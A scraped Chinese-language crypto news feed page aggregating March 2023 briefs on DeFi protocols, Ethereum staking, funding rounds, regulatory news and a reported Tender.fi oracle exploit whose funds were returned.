    Nansen 推出多链数据访问产品 Nansen Query 区块链数据平台 Nansen 宣布推出多链数据访问产品 Nansen Query，允许加密原生团队以编程方式访问策划好的数据集和专业集成，以便为客户、产品和投资用例做出更好的决策。 Nansen Query 基于 Google Cloud 平台构建，可以轻松集成到现有技术堆栈中，为企业提供安全、可靠、高度可扩展的数据管道，能够实时处理百万亿字节的数据。Nansen Query 覆盖了 17 条区块链中 95% 的链上 TVL 和 98% 的稳定币存款，包括比特币、以太坊、BNB Chain、Polygon、Avalanche、Fantom、Solana、Arbitrum、Optimism 和 Tron 等等。 内容来源  ( 2 min )
    【英文长推】DeFi 3.0 会是什么样子？哪些加密项目将引领潮流？
    Chainfeeds 导读： Crypto Pragmatist 创始人 Jack Niewold 发文从多链、资本效率、激励重新设计、产品流动性飞轮几方面对 DeFi 3.0 的愿景进行展望。 文章来源： https://twitter.com/JackNiewold/status/1632890500188459012 文章作者： Jack Niewold 观点： Jack Niewold：多链协议在统一流动性和愿景方面，面临着精力分散、产品使用和流动性被分割的困难，Radiant 解决了这一问题。Radiant V2 允许用户存入本地抵押品（如 Arbitrum 上的 USDC），将 USDC 进行抵押并在新链上借出 ETH，出售成另一种资产。在产品层面上，Radiant 成为了大本营，而不是具体链本身，进而解决了流动性统一问题，更易吸引流动性。【原文为英文】 内容来源 Jack Niewold：资本效率方面，Radiant 将借贷和杠杆相结合，解锁了效率。激励重新设计方面的代表是 Solidly Fork。虽然 DeFi 2.0 的 Solidly 有失败的通胀代币模型，但它开创了新的激励设计类型。经过重新设计的 Solidly Fork 找到了协调不同利益相关者群体的方法，Satin Exchange、Velodrome、Thena 和 SolidLizard 等协议都推动了 Solidly Fork 的 TVL 稳步上升。【原文为英文】 内容来源 Jack Niewold：产品流动性飞轮将由 GMX 开创。此前，DeFi 1.0 和 2.0 是先发行代币，然后缓慢增加代币供应以激励流动性，DeFi 3.0 则创造出不需要代币激励的模型。GMX 和 Vela Exchange 证明了流动性驱动不需要代币激励，代币用以充当股权。SentimenTrader 和 DefiLlama 也证明了没有代币激励也可以拥有巨大的用户量。用户而不是协议支付流动性的模型使代币持有者能够坐享收益，更加可持续。【原文为英文】 内容来源  ( 2 min )
    数据解读以太坊质押赛道：市场份额、增长率、节点运营商表现…
    Chainfeeds 导读： 去中心化交易平台 DODO 旗下加密研究机构 Dr.DODO 根据自建 Dune 数据面板、引用多个数据源，对 LSD 赛道数据进行详尽分析，平行对比分析 LSD 第一第二梯队项目。并从市场份额、市场增长率、节点运营商表现、折价表现、LSD 用处去向等多种数据维度，分析展现 LSD 赛道的市场现状。 文章来源： https://mirror.xyz/0x70562F91075eea0f87728733b4bbe00F7e779788/mK8AsNahzO5r-Sp8gCbr_sIC_S5RxdoJfaOSQ7Ooh_E 文章作者： Dr.DODO 观点： Dr.DODO：TL;DR：1）以太坊质押率较低，增量空间巨大，LSD 市场增长可持续；2）上海升级将打通 LSD 产品最后的提现环节，LSD 的锚定性和流动性将大幅提升；3）Lido 头部效应明显，复合增长率长时间处于高位，底层节点运营商竞争力强，DeFi 乐高丰富，综合来看竞争力最强，捕获了 LSD 大部分增量，是第一梯队龙头项目；4）第二第三梯队项目差距不大，之后将会迎来较大竞争；5）LSD 将带动整个 DeFi 板块，各种 DeFi 协议将围绕 LSD 展开竞争，LSD War 刚刚拉开序幕。 内容来源 Dr.DODO：1）增长率：Lido 增长率一直很高，大部分时间保持增长状态，并多次有大额质押带动巨额增长；Rocket Pool 增长率基本为正，近期波动收窄；Frax 一月到二月初增长率保持较高水平，近期增长率为负，表现不佳；Stakewise 大部分时间增长率较低或为负，市场竞争力差；2）节点运营商表现：Lido APR 保持第一；众包模式的 Rocket Pool 罚没较多，APR 相对较低；Ankr APR 表现最差。 内容来源 Dr.DODO：3）折价表现：stETH 在去年 Luna 崩盘等事件中有大幅脱锚情况，一段时间后回复锚定，总体来看能维持锚定。SETH2（Stakewise）类似；RETH（Stafi）波动较大；rETH（Rocket Pool）长期保持溢价且溢价有所上升；ankrETH 曾大幅折价，近期恢复锚定；frxETH 数据较少，早期波动较大；4）LSD 的用处去向：超过 50% 的 stETH 流动性被释放到 DeFi 协议中，三大去处：封装 stETH，享受质押收益的同时接入 DeFi；AAVE 抵押；Curve 挖矿。 内容来源  ( 8 min )
    以太坊重质押协议 EigenLayer 开发商 Layr Labs 即将完成 6400 万美元 A 轮融资
    以太坊重质押协议 EigenLayer 开发商 Layr Labs 即将完成 6400 万美元 A 轮融资 据美 SEC 官网公告，以太坊重质押协议 EigenLayer 开发商 Layr Labs 即将完成 6400 万美元 A 轮融资，目前已筹集近 5600 万美元。 此前报道，2 月 4 日，据 The Block 引援消息人士报道，以太坊重质协议 EigenLayer 正在筹集 5000 万美元的 A 轮融资，该轮融资将为 EigenLayer 提供 2.5 亿美元的融资后股权估值和 5 亿美元的代币估值或完全稀释估值（FDV）。消息人士称，该轮融资早在去年 11 月 FTX 交易所崩溃事件之前已经开始，预计将很快完成。 内容来源  ( 5 min )
    理解 Curve 的正确姿势：头部流动性市场的业务现状、生态发展、护城河及估值对比
    Chainfeeds 导读： Mint Ventures 研究伙伴 Alex Xu 撰写的 Curve 研报，着重从流动性市场角度对 Curve 的生态、护城河和估值进行研究，并与流动性市场的主要挑战者 Balancer 和 Aura 生态进行对比。 文章来源： https://research.mintventures.fund/2023/03/07/zh-a-deep-dive-into-the-leading-amm-platform-curve-finance/ 文章作者： Alex Xu 观点： Alex Xu：当下 Curve 已公布的未来产品里程碑，是稳定币产品 crvUSD 的上线以及交互 Gas 的持续优化（有利于被各类交易聚合器分配到更多小额交易）。其中 crvUSD 虽然采用超额抵押机制，但其分段清算的机制设计，很好地结合了 Curve 巨量流动性的优势，对整个加密市场都有稳定的作用，但截至目前，crvUSD 尚未公布具体上线时间表。 内容来源 Alex Xu：Curve 的核心业务是：现货交易；流动性的采购、分发和管理。现货交易是用户量最庞大、资金交换最频繁的加密商业场景。据 DeFillama 数据，2023 年 1 月 DEXs 月总交易量仅占加密资产现货总交易量的 7.21%。长期来看，DEXs 赛道将受益于：资产类别和交易总量的增加（行业 Beta）；对 CEXs 交易市场份额的逐渐蚕食（赛道 Alpha）。流动性市场的规模上涨同样受两个因素推动：整个加密世界总的资产类别和价值规模的增长；用户资金从中心化机构托管转向链上自管的趋势。 内容来源 Alex Xu：Curve 所在的 DeFi 领域的残酷竞争，远不止功能创新的赛跑、用户的激烈争夺，还在于代币发行机制的存在。Web3 项目引入代币机制最重要的价值是可以拥有灵活的货币政策选择，迅速扩张业务，争取比竞争对手更早形成「网络效应的领先」，从而构建起对于后来者的竞争壁垒。用自己的代币对业务的双边进行刺激，推动跨边网络效应尽快形成，是众多 Web3 项目，尤其是 DeFi 项目的起手式。 内容来源 Alex Xu：Curve 生态的各类伴生项目，对于 Curve 的主要价值是「产品功能和体验创新」的分包商，以及 CRV 锁仓体系的直接或间接维护者，而这两点正是 Curve 在 DEXs 和流动性市场这场「无限战争」中能否存活到「自然垄断形成」那一刻来临的关键要素。Curve 有良好的团队履约历史、执行力和安全记录，其主要发展风险来自于越来越激烈的市场竞争，以及生态内的利益协调，并要防范熊市时币价 - 业务负螺旋的可能性。 内容来源  ( 13 min )
    Optimism：op-geth 新版本存在问题，已更新的基础设施提供商需回滚至以前版本
    Optimism：op-geth 新版本存在问题，已更新的基础设施提供商需回滚至以前版本 以太坊 L2 网络 Optimism 发推特称，此前要求基础设施提供商在 3 月 17 日 Optimism Goerli 硬分叉之前将 op-geth 更新到新版本，但现在已发现最新版本存在问题，目前正在解决问题并更新代码库。 对于已经更新版本的基础设施提供商，Optimism 要求回滚到以前版本的 op-geth，若尚未更新则无需执行任何操作，Optimism 将很快发布更新版本。 内容来源  ( 2 min )
    【英文】Gearbox V2 复盘：现状、评估与改进
    Chainfeeds 导读： DeFi 可组合型杠杆协议 Gearbox V2 版本已经运行超 4 个月，团队成员 Mugglesect 总结了 V2 版本当前的重要数据，评估了新版本是否达到预期效果，以及需要在新版本「Codenam」中改进的方面。 文章来源： https://medium.com/gearbox-protocol/gearbox-v2-evolution-evaluation-and-what-next-feb8c4127af6 文章作者： mugglesect 观点： mugglesect：Gearbox V2 的目标：1. 在全新的 DeFi 类别中找到初始 PMF；2. 建立一个确保零坏账的风险框架；3. 扩展整体产品。成就：$0 坏账； 0 次紧急停机；75%+ 有机利用率（借款）；USDC、DAI 和 ETH 的 TVL 超过 1 亿美元；大量独立清算人；建立多重风险监控系统；5 份审计报告（ChainSecurity、Sigma Prime、Consensus Diligence、MixBytes）。【原文为英文】 内容来源 mugglesect：需要改进的方面：1. 优化杠杆交易的接口和通信；2. 加快对抵押品的支持：增加对 cbETH 和 MIM 的支持，以及 FRAX 借贷池；3. 用户界面和用户体验的改进；4. 尽快转移到链上治理。【原文为英文】 内容来源  ( 17 min )
    【英文】主权 zk-rollups 如何实现快速最终性
    Chainfeeds 导读： 加密领域存在广泛误解，认为 zk-rollups 的最终确定时间很长，且主权 rollups 无法与 L1 桥接。Sovereign Labs 解析了主权 zk-rollups 的交易证明机制，及其如何实现快速最终性。 文章来源： https://mirror.xyz/sovlabs.eth/Hwe-6x6MTUjvpuTuuwIoN2E8lgpg1euDnn_vZgwoH0Y 文章作者： Sovereign 观点： Sovereign：对于大多数 zk-rollup，最大的开支之一是证明验证。太坊上的 rollup 可能会花费 300k 到 5m gas 来验证单个证明，因此当前大多数 zk-rollup 在提交证明之前会等待积累大量交易来降低每笔交易的成本。这带来了糟糕的用户体验。【原文为英文】 内容来源 Sovereign：解决方案：实时创建证明，使用递归将它们聚合成批量证明，然后通过 p2p 网络立即分发增量证明，轻客户端就会体验到快速的最终性。由于仍然只是在链上发布较慢的批量证明，因此不必再支付额外的链上验证费用。【原文为英文】 内容来源 Sovereign：如何选择一个规范的分叉？通过将 calldata 绑定回 L1 区块头，我们可以添加一条声明「我已经扫描了 DA 层的证明（从区块 X 开始到区块 Y 结束），并且这个证明建立在最近的有效证明之上」。这让我们可以直接证明分叉选择规则，而不是在客户端强制执行。【原文为英文】 内容来源  ( 9 min )
    【数据】PeckShield：美国执法部门将 4.9 万枚 BTC 转至 Coinbase 等 3 个地址
    【数据】PeckShield：美国执法部门将 4.9 万枚 BTC 转至 Coinbase 等 3 个地址 据 PeckShield 监测数据显示，美国执法部门相关地址将 4.9 万枚 BTC（价值约合 10 亿美元）转至 Coinbase（超过 9,800 枚 BTC）、bc1qf2 开头地址（超过 3 万枚 BTC）和 bc1qe7 开头地址（约 9,000 枚 BTC）。这部分 BTC 是美国执法部门于 2021 年 11 月和 2022 年 3 月扣押的 Silk Road 非法所得。 内容来源 观点： glassnode：约 9861 枚 BTC 已发送至 Coinbase，其余大部分转移目前为止似乎是内部转账。【原文为英文】 内容来源  ( 2 min )
    Cobo 神鱼：历史就是你每天的经历
    Chainfeeds 导读： 近期，Cobo 联合创始人兼 CEO 神鱼接受了新加坡区块链新媒体平台 DeThings 专访，分享了对当前市场、FTX 事件影响、DeFi 创新、DEX 未来等多个话题的看法和底层思考。 文章来源： https://mp.weixin.qq.com/s?__biz=Mzk0OTI3NDAzMQ==&mid=2247484573&idx=1&sn=6ff5d8d46c6a5797334faeae0ca5be99&chksm=c35b905df42c194b63129280d43891baf677c16976222b7e580aef282cee0635222a46978335#rd 文章作者： DiscusFish 观点： DiscusFish：当前市场：2022 年的这次熊市和以往几次熊市相比，我个人感觉，绝望程度是不够的 —— 和以前的绝望程度没法比。围绕着模块区块链和二层网络这样的扩容方案，也有一些早期的方案开始出现。所以，在行业未来和行业信心方面，这一轮的市场反倒没有像之前那样让那么多人萌生退意。 内容来源 DiscusFish：DeFi 创新：整个 DeFi 底层的金融框架是成熟了，上面可能还有大量的可组合性的金融创新，目前还不成熟，只是有一些少量的尝试。我觉得，未来 DeFi 的核心模块会退化成链上的典型协议，其他的一些应用像 NFT、GameFi 可以直接来调这些协议使用。 内容来源 DiscusFish：DEX 的未来：站在今天来看，FTX 的这个事情基本上标志着中心化交易所黄昏的到来。未来一段时间，会出现一些去中心化与中心化相结合的方式，去规避这些风险。甚至一些长尾的需求，我们就直接在去中心化去解决掉了，可能效率更高一些。 内容来源  ( 32 min )
    ETHDenver 见闻及创业方向思考
    Chainfeeds 导读： 全球规模最大的 crypto 会议 ETHDenver 已结束。光源资本创始成员 Min 撰文总结了 ETHDenver 见闻以及由 ETHDenver 所激发的对 Web3.0 创业方向的思考。 文章来源： https://mp.weixin.qq.com/s/GuciyzkuMgWhFnf_4oU_ig 文章作者： xmin.eth 观点： xmin.eth：ETHDenver：1）质量高，buidl 氛围浓厚。2）规模大，人次远超往届。3）讨论主题反映行业最新趋势和方向、明显主次有分。 内容来源 xmin.eth：创业方向的启发：1）Consumer Application。ZK、AA 如此火，都是为了降低用户进入门槛、降低交易成本同时保护安全、真正实现 massive adoption。2）Web3 Social。不管 dapp 还是 protocol，提供 web3-specific 的体验是制胜关键。3）Web3 Game。两个方向：onboard 更广泛的用户、带来更大流量、把游戏体验和消费跟金融模型结合；fully on-chain game，非常 web3 native 的，但是很难出圈。 内容来源 xmin.eth：4）Infra。specific for game/nft/defi 的 vertical chain 会是一个非常值得探索的方向，因为在具体的产品设计、生态运营和对项目方的深度孵化上，都会跟 general chain 不太一样。5）DeFi。虽然 DEX 依然是 Defi 里最好的垂直赛道，但做其他「有用的事儿」，解决用户的问题，也可以有不错的变现模式。6）与 AIGC 的结合。AI 目前实际可落地的几个方向主要是，AI 应用于 on-chain data analysis、chatGPT 使得前端交互更加友好；AI 应用于游戏领域等。 内容来源  ( 32 min )
    【英文长推】新项目前瞻｜流动性质押协议聚合器 Liquid Staking Derivatives
    Chainfeeds 导读： Liquid Staking Derivatives 涵盖一系列流动性质押协议，可以确保质押者在保持流动性的同时获得最高收益。加密货币 KOL Kaduna 从产品功能、市场机会、代币经济模型等方面介绍了此项目。 文章来源： https://twitter.com/cryptokaduna/status/1633187498150215681 文章作者： Kaduna 观点： Kaduna：用户抵押 ETH 并作为回报接收 LS -ETH，质押之后，聚合器为他们完成剩下的工作，确保质押者在保持流动性的同时获得最高收益。LSD 是 Liquid Staking Derivatives 等原生代币，可以抵押 / 借给聚合器以换取持续的 veLSD 奖励。veLSD 是协议的治理代币，可以对协议更改和实施进行投票。用户必须锁定 LSD 才能接收 veLSD，锁定其 LSD 代币的用户也可获得更高的质押 ETH 奖励。【原文为英文】 内容来源 Kaduna：目前，Liquid Staking 的 TVL 为 136 亿美元，位居第二大 DeFi 类别。作为 DeFi 聚合器，Liquid Staking Derivatives 将利用许多顶级流动性质押协议的收益。Liquid Staking Derivatives 平台即将上线，很期待它在此类协议中的排名。【原文为英文】 内容来源  ( 2 min )
    Gitcoin 推出以太坊质押指数代币 gtcETH，通过质押 ETH 为公共产品筹资
    Gitcoin 推出以太坊质押指数代币 gtcETH，通过质押 ETH 为公共产品筹资 Gitcoin 和 Index Coop 合作推出 Gitcoin Staked ETH Index （gtcETH），可通过 ETH 质押奖励为 Gitcoin Grants 提供资金。 gtcETH 是一种 ERC-20 代币，代币持有者能够通过单一代币获得 ETH 流动质押代币，同时为公共物品筹资作出贡献，它将构建在 Index Protocol 上，并包含 Rocket Pool、Lido 和 StakeWise 的流动性质押代币。gtcETH 采用 dsETH 方法，该方法促进去中心化和流动性质押协议之间的竞争。 内容来源 观点： Kyle Weiss（Gitcoin联合创始人）：Index Coop 一直是创建新型指数代币的领导者，为市场领先协议和趋势提供敞口。gtcETH 是他们产品的绝佳补充，并确保当人们想为公共产品提供资金时，可以使用「设置和取消」选项。我们乐观地认为，随着池中价值的增长，这将为公共产品提供长期可持续的资金。 内容来源  ( 13 min )
    【长推】亚马逊 NFT 猜想：下一个亿万级用户市场？
    Chainfeeds 导读： 据 Blockworks 报道，亚马逊 NFT 市场将于今年 4 月或 5 月上线，该功能将直接显示在亚马逊网站。前亚马逊员工 Rubywang 梳理了现有信息，并分析了其对加密行业的积极影响。 文章来源： https://twitter.com/rubywxt1/status/1633256234341244929 文章作者： Rubywang.eth 观点： Rubywang.eth：现有信息：1. 会在网站主要页面板块增加 Tab 的方式呈现；2. 通过核心用户启动，可能上线前会通知北美区 1.67 亿存量 Prime 会员（Prime 是 Amazon 最重要的用户资产，以往很多重要的新业务都是通过给会员叠加权益的方式启动）；3.web2 友好，支持现有账号信用卡购买（非收割 web3 存量用户逻辑）。 内容来源 Rubywang.eth：猜想：1. 是更倾向于与实物销售结合（phygital） 还是和 gaming 结合（玩游戏 claim NFT）？个人猜测前者可能性更大；2. 用哪条链？1 月份，AWS 曾公布与 Ava Labs 的合作，但并未确认发行的链。 内容来源 Rubywang.eth：Web2 公司愿意采用 NFT 和 Crypto，本身就是在推动行业前进。如果不是收割存量 web3 用户而是与自身主业进行结合，可以肯定的是，公司内部已锚定需要验证的增量价值：即 NFT 作为工具，无论是作为工具帮助创作者，提升品牌商品销售，还是增加平台会员粘性。 内容来源  ( 2 min )
    【英文】跨链应用如何权衡网络延迟和回滚风险：来自以太坊 PoS 共识机制的启示
    Chainfeeds 导读： Jump Crypto 发布其跨链桥系列第二篇文章，分析了当前以太坊 PoS 共识主要阶段中针对网络延迟和回滚风险采取的机制，并总结了跨链应用可以从中得到的经验及需要额外注意的问题。 文章来源： https://jumpcrypto.com/bridging-and-finality-ethereum/ 文章作者： John（Jump Crypto） 观点： John（Jump Crypto）：区块提议：理想情况下，提案每 12 秒发生一次，但从存档的全节点历史来看，两次提议之间的间隔是一分钟。该阶段面临的风险是恶意提议者的双重提议。可以安全地使用区块提议来确认桥接交易的用例是不具有重大价值的服务，例如跨链电子邮件。【原文为英文】 内容来源 John（Jump Crypto）：GHOST 机制：LMD GHOST 的分叉选择规则被应用于提议的区块，随着子树的增长和证明权重的积累，回滚的风险会降低。但由于桥接交易可以包含独特形式的 MEV，因此可以为攻击者进行重组攻击提供额外的激励。【原文为英文】 内容来源 John（Jump Crypto）：Casper FFG：在 Casper 下的最终性是在证明之后通过额外的投票（32 个 slot 或 6.4 分钟）实现的。该阶段的回滚风险基本上归结为攻击者控制了 2/3 的验证者集合（按当前 ETH 价格计算，攻击成本约为 200 亿美元）。高风险的应用（如代币的桥接）应该要求尽可能高的安全水平。【原文为英文】 内容来源  ( 15 min )
    Aave 官方发布协议稳定币 GHO 创世参数提议
    Aave 官方发布协议稳定币 GHO 创世参数提议 Aave 官方在治理论坛发布协议稳定币 GHO 创世参数研究提议，建议 GHO 在最初发布时的借款利率（BR）为 2% 至 2.5%；stkAAVE 贴现率（DR）为 25%，且由 AAVE 质押者铸造的 GHO 最高不超过总供应量的 25%；促进者供应上限为 5000 万或以太坊 V3 市场 25% 的活跃借贷量；DEX 流动性池目标为 1500 万美元 GHO 的稳定流动性池。Aave 提出了一个渐进式增长计划，将根据 DEX 流动性池规模大小调整上述数据。 内容来源  ( 4 min )
    【长推】详解混币协议 Privacy Pools 机制：无需历史交易信息即可识别黑客资金
    Chainfeeds 导读： Tornado Cash 早期贡献者 Ameen Soleimani 在 Optimism 上发布升级版本混币协议 Privacy Pools，通过 zk-proof 证明用户提取的资金不是黑客部署在混币器中的资金。区块链研究员 0xhhh 详细解析了 Privacy Pools 的运行机制。 文章来源： https://twitter.com/hhh69251498/status/1633027375398273024 文章作者： hhh_quickCreation 观点： 0xhhh：用户提款时，需要再构造另外一棵与 deposit tree 树对应的 allow tree。用户构造的提款证明 private input 包含：allow tree 对应的 path；deposit tree 对应的 path；deposit tree 上要提款的节点对应在 allow tree 上的叶子节点值必须为 “allowed”。public input 包含：allow_tree_root、deposit_tree_root。其中 private input 意味着这部分的信息最后会被隐藏在证明内。 内容来源 0xhhh：黑客将钱非法资金存入 deposit tree 中的某个叶子节点，同样也只能构造出对应的叶子节点值为 “allowed” 的 allow tree 和对应的 allow_tree_root，通过交易的 input 发现该笔提款并没有排除黑客存入的叶子节点，于是我们成功标记了黑客的提款交易，也就意味着黑客想通过混币交易洗钱的目的失效了。 内容来源 0xhhh：总结：只有 allow-tree 设置为 allowed 的节点可以提款；黑客不得不将自己所在的 allow tree 那个节点变成 allowed；正常用户会将黑客所在的那个 allow tree 的节点设置成 blocked；所以可以通过在提款的时候黑客给的 allow tree（将非法节点设置为了 allow）来标记黑客。 内容来源  ( 2 min )
    DefiLlama 推出浏览器插件，通过标签形式标记地址链上行为
    DefiLlama 推出浏览器插件，通过标签形式标记地址链上行为 DefiLlama 推出 Chrome 浏览器插件 DefiLlama Extension，提供在 Etherscan 和其他区块链浏览器上的钱包地址解析功能。Llamas 通过分析钱包链上活动，以标签形式标记地址所属实体、mint、捐赠、空投等属性，例如：FTX、Gitcoin Donor、Blur Airdrop 等。此外，该插件还校准了代币价格，并通过图标形式提示用户进入的网页是否为项目官网。 内容来源  ( 2 min )
    美国破产法官批准币安以 13 亿美元收购 Voyager
    美国破产法官批准币安以 13 亿美元收购 Voyager 据路透社报道，Voyager Digital 周二获得法院批准出售其资产并将其客户转移到 Binance.US，交易价值 13 亿美元。币安已同意向 Voyager 支付 2000 万美元现金，并接受 Voyager 客户存放的加密资产。据 Voyager 估计，此次出售将使客户能够收回 Voyager 申请破产时存款价值的 73%。Voyager 财务顾问表示，公司最多需要四个星期的时间来审查有关 Binance.US 对收购的承诺、Binance.US 的监管合规性以及 Binance.US 客户存款安全性等新问题。该交易还面临美国外国投资委员会（CFIUS）的额外审查，该委员会正在调查与外国投资 Voyager 相关的国家安全风险。 内容来源  ( 18 min )
    游戏工作室 Redemption Games 完成 700 万美元融资，Play Ventures 领投
    游戏工作室 Redemption Games 完成 700 万美元融资，Play Ventures 领投 据 VentureBeat 报道，游戏工作室 Redemption Games 宣布完成 700 万美元新一轮融资，Play Ventures 领投，Bitkraft、Merit Circle DAO、Orange DAO 等参投。 Redemption Games 是一家从移动游戏开发巨头 AppLovin 公司剥离出的独立工作室，目前正在利用区块链技术、数字藏品和人工智能解决方案开发能够推向大众市场的游戏，并且将在游戏中加入能在交易所交易的数字资产等 Web3 元素。 内容来源  ( 7 min )
    游戏公司 Believer 完成 5500 万美元融资，Lightspeed 领投
    游戏公司 Believer 完成 5500 万美元融资，Lightspeed 领投 据 TechCrunch 报道，比特币矿企 Riot 前高管 Michael Chow 和 Steven Snow 创立的游戏初创公司 Believer 完成 5500 万美元融资，Lightspeed Venture Partners 领投，参投方包括 Andreessen Horowitz（a16z）、Bitkraft Ventures、Riot Games、1Up Ventures、Don Thompson 的 Cleveland Avenue 和 Michael D. 等。 Believer 将首先开发原创 IP、叙事以及技术游戏。Believer 创始人表示，不太可能在 3-5 年内推出任何产品。Steven Snow 称该公司希望利用生成式 AI 做更多事情。 内容来源  ( 41 min )
    泰国将为发行投资代币的公司和投资人免税
    泰国将为发行投资代币的公司和投资人免税 据 The Block 报道，泰国财政部长 Arkhom Termpittayapaisith 周二发表的一份声明显示，泰国内阁已批准对在该国提供投资代币的加密货币公司免除企业所得税和增值税。免税政策将适用于这些投资代币的初级和二级产品，同时代币投资者也将免除增值税，Utility 型代币不适用于该政策。Arkhom 表示，公司必须注册其代币产品才能享受税收减免，免税政策可能会使政府在未来两年内放弃高达 350 亿泰铢（10 亿美元）的收入。 内容来源  ( 218 min )

  • Open

    Nexus Labs：如何通过可验证云计算来对区块链进行扩展？
    Nexus Labs：如何通过可验证云计算来对区块链进行扩展？ – 深潮TechFlow Stanford Blockchain Review Read the full entry  ( 3 min )
    Nexus Labs：如何通过可验证云计算来对区块链进行扩展？
    Nexus Labs：如何通过可验证云计算来对区块链进行扩展？ – 深潮TechFlow Stanford Blockchain Review Read the full entry  ( 3 min )
    当RaaS服务兴起：OP Stack能否威胁到Cosmos护城河？
    当RaaS服务兴起：OP Stack能否威胁到Cosmos护城河？ – 深潮TechFlow 撰文：雨中狂睡 Read the full entry  ( 4 min )
    当RaaS服务兴起：OP Stack能否威胁到Cosmos护城河？
    当RaaS服务兴起：OP Stack能否威胁到Cosmos护城河？ – 深潮TechFlow 撰文：雨中狂睡 Read the full entry  ( 4 min )
    比特币 Ordinals：与 NFT 的异同、争议和潜力
    比特币 Ordinals：与 NFT 的异同、争议和潜力 – 深潮TechFlow 撰写：Web3 Shala Read the full entry  ( 3 min )
    比特币 Ordinals：与 NFT 的异同、争议和潜力
    比特币 Ordinals：与 NFT 的异同、争议和潜力 – 深潮TechFlow 撰写：Web3 Shala Read the full entry  ( 3 min )
    为什么我们需要全新的跨链解决方案 Omnichain？
    为什么我们需要全新的跨链解决方案 Omnichain？ – 深潮TechFlow 撰写：Kryptzo Read the full entry  ( 3 min )
    为什么我们需要全新的跨链解决方案 Omnichain？
    为什么我们需要全新的跨链解决方案 Omnichain？ – 深潮TechFlow 撰写：Kryptzo Read the full entry  ( 3 min )

  • Open

    Tender.fi黑客已返还资金，获得62 ETH赏金
    PANews 3月8日消息，链上数据显示，攻击Arbitrum生态借贷协议Tender.fi的黑客已返还了资金，Tender.fi团队同意向黑客支付62 ETH(96,500美元)作为赏金。官方团队表示，事后审查正在进行中。据此前消息，Tender.fi疑似遭白帽黑客攻击，损失159万美元。官方表示，已暂停所有借贷。 安全公司PeckShield和BlockSec的调查显示，黑客利用Tender.fi配置错误的预言机借入价值159万美元的加密资产，而抵押品仅为一个价值70美元的GMX代币。  ( 4 min )
    数据：受监管不确定性推动，芝商所以太坊期权交易量创历史新高
    PANews 3月8日消息，The Block数据显示，比特币和以太坊期货和期权交易量在今年2月再次走高。上个月所有交易所的比特币期货交易总量为7910亿美元，高于1月份的6970亿美元，连续第三个月实现增长。与此同时，期权交易量从177亿美元增至约200亿美元。受FTX崩盘推动，机构投资者将目光投向了受监管的交易所。芝加哥商品交易所（CME）的以太坊期权交易量创去年8月上线以来的最高水平。比特币期权未平仓合约也创历史新高，首次突破10亿美元。  ( 4 min )
    彭博社：Silvergate正与美国联邦存款保险公司磋商如何维持经营
    PANews 3月8日消息，据彭博社援引知情人士的话称，美国联邦存款保险公司(FDIC)官员一直在与陷入困境的加密银行Silvergate Capital高管就如何帮助该公司继续经营进行磋商。一位消息人士称，其中一个选择为招募加密行业投资者，以帮助提高Silvergate的流动性。上周美联储已授权FDIC的审查人员前往Silvergate位于加州拉霍亚的总部，美联储是Silvergate的主要联邦监管机构。据此前消息，Silvergate上周宣布将推迟提交年报，因为它需要接受监管机构的询问和调查。该公司进一步警告称，其“继续经营”的能力可能会受到影响。随后Silvergate的股价下跌超过50%，创历史新低。Silvergate还宣布，将暂停Silvergate Exchange Network (SEN)服务。  ( 4 min )
    法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍
    PANews 3月8日消息，据CoinDesk报道，纽约南区破产法官Michael Wiles不顾美国证券交易委员会（SEC）和州监管机构的反对，批准了Binance.US收购Voyager Digital资产的交易。Wiles裁定，这些监管机构的反对意见，并没有超过继续重组Voyager的必要性。但在交易最终敲定之前，Binance.US可能仍需清除某些监管障碍。在裁决公布后，Voyager的VGX代币短线上涨超过8%。据此前消息，这笔交易得到了97%的Voyager债权人的支持。Voyager的律师表示，债权人可能会收回73%的资产。  ( 4 min )
    美国SEC：比特币市场成熟到无法进行欺诈和操纵才会批准现货比特币ETF
    PANews 3月7日消息，据彭博社报道称，美国SEC表示，比特币市场成熟到无法进行欺诈和操纵才会批准现货比特币 ETF。比特币（现货）ETF比比特币期货风险更高。  ( 4 min )
    鲍威尔：我们在加密领域看到了相当多欺诈行为和风险存在
    PANews 3月7日消息，美联储主席鲍威尔表示，我们正在关注加密货币领域，因为这一领域波动很大。我们在加密领域看到了相当多欺诈行为和风险存在。  ( 4 min )
    美联储主席：美联储准备在数据允许的情况下加快加息
    PANews 3月7日消息，美联储主席鲍威尔在出席参议院听证会时发言表示，美联储准备在数据允许的情况下加快加息。美联储的加息正在放缓利率敏感行业的需求。通货膨胀有所缓和，但回落过程可能坎坷不平。政策发挥全面影响还需要时间。劳动力市场仍然极度紧张。持续提高政策利率可能是适当的，以便立场足够严格，随着时间的推移让通胀回到2%。 鲍威尔表示，对前几个季度的修正幅度表明，通胀可能高于预期。最新经济数据强于预期。历史告诫不要过早放松政策。最终的利率水平可能会高于预期。要使通货膨胀率回落到2%，就需要降低核心服务(不包括住房)的通胀，而且劳动力市场很可能需要出现一些疲软。 美联储主席鲍威尔讲话后，美国2-10年期国债收益率曲线倒挂幅度扩大至97个基点。美股三大股指跌幅加深，道指跌0.5%，纳指、标普500指数跌0.6%。比特币向下触及22000美元/枚，日内跌1.84%。  ( 4 min )
    游戏公司Believer完成5500万美元融资，Lightspeed领投，a16z等参投
    PANews 3月7日消息，据TechCrunch报道，比特币矿企 Riot 前高管 Michael Chow 和 Steven Snow 创立的游戏初创公司 Believer 完成 5500 万美元融资，Lightspeed Venture Partners 领投，参投方包括 Andreessen Horowitz（a16z）、Bitkraft Ventures、Riot Games、1Up Ventures、Don Thompson 的 Cleveland Avenue 和 Michael D. 等。 Believer 将首先开发原创 IP、叙事以及技术游戏。Believer 创始人表示，不太可能在 3-5 年内推出任何产品。Steven Snow 称该公司希望利用生成式 AI 做更多事情。  ( 4 min )
    加密KOL：OPNX将收购CoinFLEX的所有资产，包括人员、技术和代币
